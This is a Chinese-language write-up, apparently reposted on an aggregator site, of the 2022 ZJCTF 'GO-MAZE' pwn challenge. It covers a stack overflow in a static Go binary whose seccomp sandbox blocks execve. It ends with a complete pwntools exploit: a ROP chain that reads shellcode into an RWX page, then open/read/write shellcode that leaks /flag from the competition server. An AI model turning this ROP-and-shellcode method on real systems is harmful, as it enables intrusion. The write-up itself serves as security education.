pwn2022 ZJCTF GO-MAZE
Posted woodwhale
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn2022 ZJCTF GO-MAZE相关的知识,希望对你有一定的参考价值。
【pwn】2022 ZJCTF GO-MAZE
前言
这次省赛纯纯的靠队友,web基本ak,re全ak了,misc也是队友带的,我纯纯的混子
比赛的时候没做出来这一题,主要是静态编译太ex了,而且最后十分钟才看到0x123000这个地方可读可写可执行…已经没时间去调试了
最憨的是,写好的链子执行直接报错了,赛后发现链子根本没错,错的是context.arch
没有设置成amd64
,链子为了写的快一点,没用p64,用的flat,直接默认32位写进去的,直接寄…
分析
纯ex人的go pwn,好在是静态编译,带了很多gadget
首先玩游戏就可以进入一个类似于gets的函数
这里可以写入然后栈溢出
调偏移花了20分钟。。。
写入后去文件中找/bin/sh
还真有!由于前几天蓝帽杯也有这样的binsh,于是猜测是system
自己手写了一个c程序,调用system,静态编译,一对比果然一模一样
于是花了2小时一直在打system(“/bin/sh”)
未果,寻病终…
发现是开了沙箱,不让执行execve
直接绝后路了
之后就基本放弃这一题了…
之后吃完饭想去调用open,read,write
奈何静态编译还去符号表根本没找过这样的模式
赛后复盘发现ida可以alt+t
直接搜素汇编,搜索如下关键字:
- sys_read
- sys_open
- sys_write
调试过程中使用vmmap,发现0x123000
位置有所有权限
那么思路很简单了,直接:
- read(0, 0x123000, 0x100)
- open(“/flag”)
- read(rax, rsp, 0x100)
- write(1, rsp, 0x100)
思路非常正确,问题就处在了context.arch的设置错误导致flat的默认是32位,直接暴毙…
只能说还是调试少咯
exp
from pwn import *
sa = lambda rv, data: io.sendafter(rv, data)
sl = lambda data: io.sendline(data)
sla = lambda rv, data: io.sendlineafter(rv, data)
ia = lambda: io.interactive()
context.arch = "amd64" # don't forget
io = remote("1.14.97.218", 28231)
# io = process("./pwn")
s = "sssssdddwwwdddwdww"
for i in s:
sl(i)
ret = 0x00000000004005EE
ret = 0x00000000004005EE
syscall = 0x00000000004025AB
pop_rdi = 0x00000000004008F6
pop_rsi = 0x000000000040416F
pop_rax_ret = 0x0000000000400A4F
pop_rdx_ret = 0x000000000051D4B6
pop_rdx_rsi_ret = 0x000000000051D559
read_addr = 0x51D6E0
# read(0, 0x12300, 0x100)
payload = p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rdx_rsi_ret)
payload += p64(0x100)
payload += p64(0x123000)
payload += p64(pop_rax_ret)
payload += p64(0)
payload += p64(syscall)
payload += p64(0x123000)
sa("DO YOU WANNA THIS?", b"-" * (376 + 8) + (payload))
# shellcode
shellcode = shellcraft.open("/flag")
shellcode += shellcraft.read("rax", "rsp", 0x100)
shellcode += shellcraft.write(1, "rsp", 0x100)
shellcode = asm(shellcode)
sla("flag\\x00", shellcode)
ia()
后话
应该是最好一次打省赛了,去年也是没发挥好,差0.5分拿省一
今年虽然是一等,但感觉还是被队友带飞了,自己纯纯的没用捏…
以上是关于pwn2022 ZJCTF GO-MAZE的主要内容,如果未能解决你的问题,请参考以下文章